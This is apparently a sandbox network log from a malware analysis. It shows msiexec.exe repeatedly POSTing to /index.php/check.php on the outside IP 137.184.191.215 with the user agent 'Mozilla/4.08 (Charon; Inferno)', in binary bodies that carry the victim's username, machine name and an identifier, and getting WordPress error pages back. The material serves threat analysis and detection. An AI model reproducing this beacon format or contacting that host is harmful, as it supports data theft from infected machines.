Oct 2, 2024 07:19:56.225506067 CEST	1236	IN	HTTP/1.0 500 Internal Server Error Date: Wed, 02 Oct 2024 05:19:54 GMT Server: Apache/2.4.52 (Ubuntu) Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Content-Length: 2557 Connection: close Content-Type: text/html; charset=UTF-8 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 64 69 72 3d 27 6c 74 72 27 3e 0a 3c 68 65 61 64 3e 0a 09 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 20 2f 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 09 09 09 3c 74 69 74 6c 65 3e 57 6f 72 64 50 72 65 73 73 20 26 72 73 61 71 75 6f 3b 20 45 72 72 6f 72 3c 2f 74 69 74 6c 65 3e 0a 09 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0a 09 09 68 74 6d 6c 20 7b 0a 09 09 09 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 66 31 66 31 66 31 3b 0a 09 09 7d 0a 09 09 62 6f 64 79 20 7b 0a 09 09 09 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 66 66 66 3b 0a 09 09 09 62 6f 72 64 65 72 3a 20 31 70 78 20 73 6f 6c 69 64 20 23 63 63 64 30 64 34 3b 0a 09 09 09 63 6f 6c 6f 72 3a [TRUNCATED] Data Ascii: <!DOCTYPE html><html dir='ltr'><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /><meta name="viewport" content="width=device-width"><title>WordPress &rsaquo; Error</title><style type="text/css">html {background: #f1f1f1;}body {background: #fff;border: 1px solid #ccd0d4;color: #444;font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, Oxygen-Sans, Ubuntu, Cantarell, "Helvetica Neue", sans-serif;margin: 2em auto;padding: 1em 2em;max-width: 700px;-webkit-box-shadow: 0 1px 1px rgba(0, 0, 0, .04);box-shadow: 0 1px 1px rgba(0, 0, 0, .04);}h1 {border-bottom: 1px solid #dadada;clear: both;color: #666;font-size: 24px;margin: 30px 0 0 0;padding: 0;padding-bottom: 7px;}#error-page {margin-top: 50px;}#error-page p,#error-page .wp-die-message {font-size: 14px;line-height: 1.5;margin: 25px 0 2
Oct 2, 2024 07:19:56.225925922 CEST	224	IN	Data Raw: 30 70 78 3b 0a 09 09 7d 0a 09 09 23 65 72 72 6f 72 2d 70 61 67 65 20 63 6f 64 65 20 7b 0a 09 09 09 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 43 6f 6e 73 6f 6c 61 73 2c 20 4d 6f 6e 61 63 6f 2c 20 6d 6f 6e 6f 73 70 61 63 65 3b 0a 09 09 7d 0a 09 09 75 Data Ascii: 0px;}#error-page code {font-family: Consolas, Monaco, monospace;}ul li {margin-bottom: 10px;font-size: 14px ;}a {color: #2271b1;}a:hover,a:active {color: #135e96;}a:focus
Oct 2, 2024 07:19:56.225935936 CEST	1236	IN	Data Raw: 7b 0a 09 09 09 63 6f 6c 6f 72 3a 20 23 30 34 33 39 35 39 3b 0a 09 09 09 62 6f 78 2d 73 68 61 64 6f 77 3a 20 30 20 30 20 30 20 32 70 78 20 23 32 32 37 31 62 31 3b 0a 09 09 09 6f 75 74 6c 69 6e 65 3a 20 32 70 78 20 73 6f 6c 69 64 20 74 72 61 6e 73 Data Ascii: {color: #043959;box-shadow: 0 0 0 2px #2271b1;outline: 2px solid transparent;}.button {background: #f3f5f6;border: 1px solid #016087;color: #016087;display: inline-block;text-decoration: none;font-size
Oct 2, 2024 07:19:56.227020979 CEST	142	IN	Data Raw: 3d 22 68 74 74 70 73 3a 2f 2f 77 6f 72 64 70 72 65 73 73 2e 6f 72 67 2f 64 6f 63 75 6d 65 6e 74 61 74 69 6f 6e 2f 61 72 74 69 63 6c 65 2f 66 61 71 2d 74 72 6f 75 62 6c 65 73 68 6f 6f 74 69 6e 67 2f 22 3e 4c 65 61 72 6e 20 6d 6f 72 65 20 61 62 6f Data Ascii: ="https://wordpress.org/documentation/article/faq-troubleshooting/">Learn more about troubleshooting WordPress.</a></p></div></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.4	59100	137.184.191.215	80	8076	C:\Windows\SysWOW64\msiexec.exe

Timestamp	Bytes transferred	Direction	Data
Oct 2, 2024 07:19:56.374245882 CEST	258	OUT	POST /index.php/check.php?s=am9ntjjw HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 137.184.191.215 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 1A0CD362 Content-Length: 149 Connection: close
Oct 2, 2024 07:19:56.379219055 CEST	149	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 6a 00 6f 00 6e 00 65 00 73 00 01 00 0c 00 00 00 33 00 39 00 30 00 31 00 32 00 30 00 01 00 10 00 00 00 4a 00 4f 00 4e 00 45 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.rujones390120JONES-PC0FDD42EE188E931437F4FBE2C
Oct 2, 2024 07:19:59.054563999 CEST	1236	IN	HTTP/1.0 500 Internal Server Error Date: Wed, 02 Oct 2024 05:19:56 GMT Server: Apache/2.4.52 (Ubuntu) Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Content-Length: 2557 Connection: close Content-Type: text/html; charset=UTF-8 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 64 69 72 3d 27 6c 74 72 27 3e 0a 3c 68 65 61 64 3e 0a 09 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 20 2f 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 09 09 09 3c 74 69 74 6c 65 3e 57 6f 72 64 50 72 65 73 73 20 26 72 73 61 71 75 6f 3b 20 45 72 72 6f 72 3c 2f 74 69 74 6c 65 3e 0a 09 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0a 09 09 68 74 6d 6c 20 7b 0a 09 09 09 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 66 31 66 31 66 31 3b 0a 09 09 7d 0a 09 09 62 6f 64 79 20 7b 0a 09 09 09 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 66 66 66 3b 0a 09 09 09 62 6f 72 64 65 72 3a 20 31 70 78 20 73 6f 6c 69 64 20 23 63 63 64 30 64 34 3b 0a 09 09 09 63 6f 6c 6f 72 3a [TRUNCATED] Data Ascii: <!DOCTYPE html><html dir='ltr'><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /><meta name="viewport" content="width=device-width"><title>WordPress &rsaquo; Error</title><style type="text/css">html {background: #f1f1f1;}body {background: #fff;border: 1px solid #ccd0d4;color: #444;font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, Oxygen-Sans, Ubuntu, Cantarell, "Helvetica Neue", sans-serif;margin: 2em auto;padding: 1em 2em;max-width: 700px;-webkit-box-shadow: 0 1px 1px rgba(0, 0, 0, .04);box-shadow: 0 1px 1px rgba(0, 0, 0, .04);}h1 {border-bottom: 1px solid #dadada;clear: both;color: #666;font-size: 24px;margin: 30px 0 0 0;padding: 0;padding-bottom: 7px;}#error-page {margin-top: 50px;}#error-page p,#error-page .wp-die-message {font-size: 14px;line-height: 1.5;margin: 25px 0 2
Oct 2, 2024 07:19:59.054970980 CEST	224	IN	Data Raw: 30 70 78 3b 0a 09 09 7d 0a 09 09 23 65 72 72 6f 72 2d 70 61 67 65 20 63 6f 64 65 20 7b 0a 09 09 09 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 43 6f 6e 73 6f 6c 61 73 2c 20 4d 6f 6e 61 63 6f 2c 20 6d 6f 6e 6f 73 70 61 63 65 3b 0a 09 09 7d 0a 09 09 75 Data Ascii: 0px;}#error-page code {font-family: Consolas, Monaco, monospace;}ul li {margin-bottom: 10px;font-size: 14px ;}a {color: #2271b1;}a:hover,a:active {color: #135e96;}a:focus
Oct 2, 2024 07:19:59.055191040 CEST	1236	IN	Data Raw: 7b 0a 09 09 09 63 6f 6c 6f 72 3a 20 23 30 34 33 39 35 39 3b 0a 09 09 09 62 6f 78 2d 73 68 61 64 6f 77 3a 20 30 20 30 20 30 20 32 70 78 20 23 32 32 37 31 62 31 3b 0a 09 09 09 6f 75 74 6c 69 6e 65 3a 20 32 70 78 20 73 6f 6c 69 64 20 74 72 61 6e 73 Data Ascii: {color: #043959;box-shadow: 0 0 0 2px #2271b1;outline: 2px solid transparent;}.button {background: #f3f5f6;border: 1px solid #016087;color: #016087;display: inline-block;text-decoration: none;font-size
Oct 2, 2024 07:19:59.056109905 CEST	142	IN	Data Raw: 3d 22 68 74 74 70 73 3a 2f 2f 77 6f 72 64 70 72 65 73 73 2e 6f 72 67 2f 64 6f 63 75 6d 65 6e 74 61 74 69 6f 6e 2f 61 72 74 69 63 6c 65 2f 66 61 71 2d 74 72 6f 75 62 6c 65 73 68 6f 6f 74 69 6e 67 2f 22 3e 4c 65 61 72 6e 20 6d 6f 72 65 20 61 62 6f Data Ascii: ="https://wordpress.org/documentation/article/faq-troubleshooting/">Learn more about troubleshooting WordPress.</a></p></div></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.4	59101	137.184.191.215	80	8076	C:\Windows\SysWOW64\msiexec.exe

Timestamp	Bytes transferred	Direction	Data
Oct 2, 2024 07:19:59.209873915 CEST	258	OUT	POST /index.php/check.php?s=am9ntjjw HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 137.184.191.215 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 1A0CD362 Content-Length: 149 Connection: close
Oct 2, 2024 07:19:59.214833975 CEST	149	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 6a 00 6f 00 6e 00 65 00 73 00 01 00 0c 00 00 00 33 00 39 00 30 00 31 00 32 00 30 00 01 00 10 00 00 00 4a 00 4f 00 4e 00 45 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.rujones390120JONES-PC0FDD42EE188E931437F4FBE2C
Oct 2, 2024 07:20:01.879544020 CEST	1236	IN	HTTP/1.0 500 Internal Server Error Date: Wed, 02 Oct 2024 05:19:59 GMT Server: Apache/2.4.52 (Ubuntu) Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Content-Length: 2557 Connection: close Content-Type: text/html; charset=UTF-8 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 64 69 72 3d 27 6c 74 72 27 3e 0a 3c 68 65 61 64 3e 0a 09 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 20 2f 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 09 09 09 3c 74 69 74 6c 65 3e 57 6f 72 64 50 72 65 73 73 20 26 72 73 61 71 75 6f 3b 20 45 72 72 6f 72 3c 2f 74 69 74 6c 65 3e 0a 09 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0a 09 09 68 74 6d 6c 20 7b 0a 09 09 09 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 66 31 66 31 66 31 3b 0a 09 09 7d 0a 09 09 62 6f 64 79 20 7b 0a 09 09 09 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 66 66 66 3b 0a 09 09 09 62 6f 72 64 65 72 3a 20 31 70 78 20 73 6f 6c 69 64 20 23 63 63 64 30 64 34 3b 0a 09 09 09 63 6f 6c 6f 72 3a [TRUNCATED] Data Ascii: <!DOCTYPE html><html dir='ltr'><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /><meta name="viewport" content="width=device-width"><title>WordPress &rsaquo; Error</title><style type="text/css">html {background: #f1f1f1;}body {background: #fff;border: 1px solid #ccd0d4;color: #444;font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, Oxygen-Sans, Ubuntu, Cantarell, "Helvetica Neue", sans-serif;margin: 2em auto;padding: 1em 2em;max-width: 700px;-webkit-box-shadow: 0 1px 1px rgba(0, 0, 0, .04);box-shadow: 0 1px 1px rgba(0, 0, 0, .04);}h1 {border-bottom: 1px solid #dadada;clear: both;color: #666;font-size: 24px;margin: 30px 0 0 0;padding: 0;padding-bottom: 7px;}#error-page {margin-top: 50px;}#error-page p,#error-page .wp-die-message {font-size: 14px;line-height: 1.5;margin: 25px 0 2
Oct 2, 2024 07:20:01.879966974 CEST	1236	IN	Data Raw: 30 70 78 3b 0a 09 09 7d 0a 09 09 23 65 72 72 6f 72 2d 70 61 67 65 20 63 6f 64 65 20 7b 0a 09 09 09 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 43 6f 6e 73 6f 6c 61 73 2c 20 4d 6f 6e 61 63 6f 2c 20 6d 6f 6e 6f 73 70 61 63 65 3b 0a 09 09 7d 0a 09 09 75 Data Ascii: 0px;}#error-page code {font-family: Consolas, Monaco, monospace;}ul li {margin-bottom: 10px;font-size: 14px ;}a {color: #2271b1;}a:hover,a:active {color: #135e96;}a:focus {color: #043959
Oct 2, 2024 07:20:01.879980087 CEST	366	IN	Data Raw: 66 35 66 36 3b 0a 09 09 09 62 6f 72 64 65 72 2d 63 6f 6c 6f 72 3a 20 23 37 65 38 39 39 33 3b 0a 09 09 09 2d 77 65 62 6b 69 74 2d 62 6f 78 2d 73 68 61 64 6f 77 3a 20 6e 6f 6e 65 3b 0a 09 09 09 62 6f 78 2d 73 68 61 64 6f 77 3a 20 6e 6f 6e 65 3b 0a Data Ascii: f5f6;border-color: #7e8993;-webkit-box-shadow: none;box-shadow: none;}</style></head><body id="error-page"><div class="wp-die-message"><p>There has been a critical error on this website.</p><p><a href="https://wordpress

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.4	59102	137.184.191.215	80	8076	C:\Windows\SysWOW64\msiexec.exe

Timestamp	Bytes transferred	Direction	Data
Oct 2, 2024 07:20:02.281871080 CEST	258	OUT	POST /index.php/check.php?s=am9ntjjw HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 137.184.191.215 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 1A0CD362 Content-Length: 149 Connection: close
Oct 2, 2024 07:20:02.286811113 CEST	149	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 6a 00 6f 00 6e 00 65 00 73 00 01 00 0c 00 00 00 33 00 39 00 30 00 31 00 32 00 30 00 01 00 10 00 00 00 4a 00 4f 00 4e 00 45 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.rujones390120JONES-PC0FDD42EE188E931437F4FBE2C
Oct 2, 2024 07:20:04.967272043 CEST	1236	IN	HTTP/1.0 500 Internal Server Error Date: Wed, 02 Oct 2024 05:20:02 GMT Server: Apache/2.4.52 (Ubuntu) Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Content-Length: 2557 Connection: close Content-Type: text/html; charset=UTF-8 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 64 69 72 3d 27 6c 74 72 27 3e 0a 3c 68 65 61 64 3e 0a 09 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 20 2f 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 09 09 09 3c 74 69 74 6c 65 3e 57 6f 72 64 50 72 65 73 73 20 26 72 73 61 71 75 6f 3b 20 45 72 72 6f 72 3c 2f 74 69 74 6c 65 3e 0a 09 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0a 09 09 68 74 6d 6c 20 7b 0a 09 09 09 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 66 31 66 31 66 31 3b 0a 09 09 7d 0a 09 09 62 6f 64 79 20 7b 0a 09 09 09 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 66 66 66 3b 0a 09 09 09 62 6f 72 64 65 72 3a 20 31 70 78 20 73 6f 6c 69 64 20 23 63 63 64 30 64 34 3b 0a 09 09 09 63 6f 6c 6f 72 3a [TRUNCATED] Data Ascii: <!DOCTYPE html><html dir='ltr'><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /><meta name="viewport" content="width=device-width"><title>WordPress &rsaquo; Error</title><style type="text/css">html {background: #f1f1f1;}body {background: #fff;border: 1px solid #ccd0d4;color: #444;font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, Oxygen-Sans, Ubuntu, Cantarell, "Helvetica Neue", sans-serif;margin: 2em auto;padding: 1em 2em;max-width: 700px;-webkit-box-shadow: 0 1px 1px rgba(0, 0, 0, .04);box-shadow: 0 1px 1px rgba(0, 0, 0, .04);}h1 {border-bottom: 1px solid #dadada;clear: both;color: #666;font-size: 24px;margin: 30px 0 0 0;padding: 0;padding-bottom: 7px;}#error-page {margin-top: 50px;}#error-page p,#error-page .wp-die-message {font-size: 14px;line-height: 1.5;margin: 25px 0 2
Oct 2, 2024 07:20:04.967560053 CEST	224	IN	Data Raw: 30 70 78 3b 0a 09 09 7d 0a 09 09 23 65 72 72 6f 72 2d 70 61 67 65 20 63 6f 64 65 20 7b 0a 09 09 09 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 43 6f 6e 73 6f 6c 61 73 2c 20 4d 6f 6e 61 63 6f 2c 20 6d 6f 6e 6f 73 70 61 63 65 3b 0a 09 09 7d 0a 09 09 75 Data Ascii: 0px;}#error-page code {font-family: Consolas, Monaco, monospace;}ul li {margin-bottom: 10px;font-size: 14px ;}a {color: #2271b1;}a:hover,a:active {color: #135e96;}a:focus
Oct 2, 2024 07:20:04.967570066 CEST	1236	IN	Data Raw: 7b 0a 09 09 09 63 6f 6c 6f 72 3a 20 23 30 34 33 39 35 39 3b 0a 09 09 09 62 6f 78 2d 73 68 61 64 6f 77 3a 20 30 20 30 20 30 20 32 70 78 20 23 32 32 37 31 62 31 3b 0a 09 09 09 6f 75 74 6c 69 6e 65 3a 20 32 70 78 20 73 6f 6c 69 64 20 74 72 61 6e 73 Data Ascii: {color: #043959;box-shadow: 0 0 0 2px #2271b1;outline: 2px solid transparent;}.button {background: #f3f5f6;border: 1px solid #016087;color: #016087;display: inline-block;text-decoration: none;font-size
Oct 2, 2024 07:20:04.968673944 CEST	142	IN	Data Raw: 3d 22 68 74 74 70 73 3a 2f 2f 77 6f 72 64 70 72 65 73 73 2e 6f 72 67 2f 64 6f 63 75 6d 65 6e 74 61 74 69 6f 6e 2f 61 72 74 69 63 6c 65 2f 66 61 71 2d 74 72 6f 75 62 6c 65 73 68 6f 6f 74 69 6e 67 2f 22 3e 4c 65 61 72 6e 20 6d 6f 72 65 20 61 62 6f Data Ascii: ="https://wordpress.org/documentation/article/faq-troubleshooting/">Learn more about troubleshooting WordPress.</a></p></div></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.4	59103	137.184.191.215	80	8076	C:\Windows\SysWOW64\msiexec.exe

Timestamp	Bytes transferred	Direction	Data
Oct 2, 2024 07:20:05.117207050 CEST	258	OUT	POST /index.php/check.php?s=am9ntjjw HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 137.184.191.215 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 1A0CD362 Content-Length: 149 Connection: close
Oct 2, 2024 07:20:05.122471094 CEST	149	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 6a 00 6f 00 6e 00 65 00 73 00 01 00 0c 00 00 00 33 00 39 00 30 00 31 00 32 00 30 00 01 00 10 00 00 00 4a 00 4f 00 4e 00 45 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.rujones390120JONES-PC0FDD42EE188E931437F4FBE2C
Oct 2, 2024 07:20:07.737092972 CEST	1236	IN	HTTP/1.0 500 Internal Server Error Date: Wed, 02 Oct 2024 05:20:05 GMT Server: Apache/2.4.52 (Ubuntu) Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Content-Length: 2557 Connection: close Content-Type: text/html; charset=UTF-8 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 64 69 72 3d 27 6c 74 72 27 3e 0a 3c 68 65 61 64 3e 0a 09 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 20 2f 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 09 09 09 3c 74 69 74 6c 65 3e 57 6f 72 64 50 72 65 73 73 20 26 72 73 61 71 75 6f 3b 20 45 72 72 6f 72 3c 2f 74 69 74 6c 65 3e 0a 09 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0a 09 09 68 74 6d 6c 20 7b 0a 09 09 09 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 66 31 66 31 66 31 3b 0a 09 09 7d 0a 09 09 62 6f 64 79 20 7b 0a 09 09 09 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 66 66 66 3b 0a 09 09 09 62 6f 72 64 65 72 3a 20 31 70 78 20 73 6f 6c 69 64 20 23 63 63 64 30 64 34 3b 0a 09 09 09 63 6f 6c 6f 72 3a [TRUNCATED] Data Ascii: <!DOCTYPE html><html dir='ltr'><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /><meta name="viewport" content="width=device-width"><title>WordPress &rsaquo; Error</title><style type="text/css">html {background: #f1f1f1;}body {background: #fff;border: 1px solid #ccd0d4;color: #444;font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, Oxygen-Sans, Ubuntu, Cantarell, "Helvetica Neue", sans-serif;margin: 2em auto;padding: 1em 2em;max-width: 700px;-webkit-box-shadow: 0 1px 1px rgba(0, 0, 0, .04);box-shadow: 0 1px 1px rgba(0, 0, 0, .04);}h1 {border-bottom: 1px solid #dadada;clear: both;color: #666;font-size: 24px;margin: 30px 0 0 0;padding: 0;padding-bottom: 7px;}#error-page {margin-top: 50px;}#error-page p,#error-page .wp-die-message {font-size: 14px;line-height: 1.5;margin: 25px 0 2
Oct 2, 2024 07:20:07.737401009 CEST	1236	IN	Data Raw: 30 70 78 3b 0a 09 09 7d 0a 09 09 23 65 72 72 6f 72 2d 70 61 67 65 20 63 6f 64 65 20 7b 0a 09 09 09 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 43 6f 6e 73 6f 6c 61 73 2c 20 4d 6f 6e 61 63 6f 2c 20 6d 6f 6e 6f 73 70 61 63 65 3b 0a 09 09 7d 0a 09 09 75 Data Ascii: 0px;}#error-page code {font-family: Consolas, Monaco, monospace;}ul li {margin-bottom: 10px;font-size: 14px ;}a {color: #2271b1;}a:hover,a:active {color: #135e96;}a:focus {color: #043959
Oct 2, 2024 07:20:07.737412930 CEST	366	IN	Data Raw: 66 35 66 36 3b 0a 09 09 09 62 6f 72 64 65 72 2d 63 6f 6c 6f 72 3a 20 23 37 65 38 39 39 33 3b 0a 09 09 09 2d 77 65 62 6b 69 74 2d 62 6f 78 2d 73 68 61 64 6f 77 3a 20 6e 6f 6e 65 3b 0a 09 09 09 62 6f 78 2d 73 68 61 64 6f 77 3a 20 6e 6f 6e 65 3b 0a Data Ascii: f5f6;border-color: #7e8993;-webkit-box-shadow: none;box-shadow: none;}</style></head><body id="error-page"><div class="wp-die-message"><p>There has been a critical error on this website.</p><p><a href="https://wordpress

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.4	59104	137.184.191.215	80	8076	C:\Windows\SysWOW64\msiexec.exe

Timestamp	Bytes transferred	Direction	Data
Oct 2, 2024 07:20:07.880738020 CEST	258	OUT	POST /index.php/check.php?s=am9ntjjw HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 137.184.191.215 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 1A0CD362 Content-Length: 149 Connection: close
Oct 2, 2024 07:20:07.886271954 CEST	149	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 6a 00 6f 00 6e 00 65 00 73 00 01 00 0c 00 00 00 33 00 39 00 30 00 31 00 32 00 30 00 01 00 10 00 00 00 4a 00 4f 00 4e 00 45 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.rujones390120JONES-PC0FDD42EE188E931437F4FBE2C
Oct 2, 2024 07:20:10.514827013 CEST	1236	IN	HTTP/1.0 500 Internal Server Error Date: Wed, 02 Oct 2024 05:20:08 GMT Server: Apache/2.4.52 (Ubuntu) Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Content-Length: 2557 Connection: close Content-Type: text/html; charset=UTF-8 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 64 69 72 3d 27 6c 74 72 27 3e 0a 3c 68 65 61 64 3e 0a 09 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 20 2f 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 09 09 09 3c 74 69 74 6c 65 3e 57 6f 72 64 50 72 65 73 73 20 26 72 73 61 71 75 6f 3b 20 45 72 72 6f 72 3c 2f 74 69 74 6c 65 3e 0a 09 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0a 09 09 68 74 6d 6c 20 7b 0a 09 09 09 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 66 31 66 31 66 31 3b 0a 09 09 7d 0a 09 09 62 6f 64 79 20 7b 0a 09 09 09 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 66 66 66 3b 0a 09 09 09 62 6f 72 64 65 72 3a 20 31 70 78 20 73 6f 6c 69 64 20 23 63 63 64 30 64 34 3b 0a 09 09 09 63 6f 6c 6f 72 3a [TRUNCATED] Data Ascii: <!DOCTYPE html><html dir='ltr'><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /><meta name="viewport" content="width=device-width"><title>WordPress &rsaquo; Error</title><style type="text/css">html {background: #f1f1f1;}body {background: #fff;border: 1px solid #ccd0d4;color: #444;font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, Oxygen-Sans, Ubuntu, Cantarell, "Helvetica Neue", sans-serif;margin: 2em auto;padding: 1em 2em;max-width: 700px;-webkit-box-shadow: 0 1px 1px rgba(0, 0, 0, .04);box-shadow: 0 1px 